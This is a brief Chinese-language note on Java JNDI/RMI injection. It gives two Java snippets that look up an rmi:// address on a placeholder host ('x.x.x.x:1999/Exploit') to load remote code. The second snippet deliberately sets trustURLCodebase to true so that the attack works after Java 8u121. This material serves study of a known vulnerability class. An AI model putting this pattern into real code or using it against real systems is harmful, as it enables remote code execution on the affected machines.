在java8 121版本以前,只要这样就能任意代码
rmiTest.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class rmiTest {
public static void main(String[] args) throws IOException, NamingException {
InitialContext xxx = new InitialContext();
xxx.lookup("rmi://x.x.x.x:1999/Exploit");
}
}
在java8 121版本之后,需要加com.sun.jndi.rmi.object.trustURLCodebase=true
rmiTest2
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class rmiTest2 {
public static void main(String[] args) throws IOException, NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext xxx = new InitialContext();
xxx.lookup("rmi://x.x.x.x:1999/Exploit");
}
}
rmi在java8 121版本之前的调用满足:
一个类,一个方法,一个参数,就能实现java的任意代码执行。